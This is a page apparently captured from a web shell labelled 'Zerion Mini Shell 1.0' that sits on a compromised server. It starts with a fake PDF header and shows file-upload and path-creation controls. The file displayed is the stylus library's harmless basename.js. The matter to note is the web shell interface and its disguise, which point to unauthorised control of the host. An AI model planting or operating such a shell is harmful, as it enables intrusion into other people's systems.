%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /www/specpages-backup/node_modules/stylus/lib/functions/
Upload File :
Create Path :
Current File : /www/specpages-backup/node_modules/stylus/lib/functions/basename.js

var utils = require('../utils')
  , path = require('path');

/**
 * Return the basename of `path`.
 *
 * @param {String} path
 * @return {String}
 * @api public
 */

function basename(p, ext){
  utils.assertString(p, 'path');
  return path.basename(p.val, ext && ext.val);
};
basename.params = ['p', 'ext'];
module.exports = basename;

Zerion Mini Shell 1.0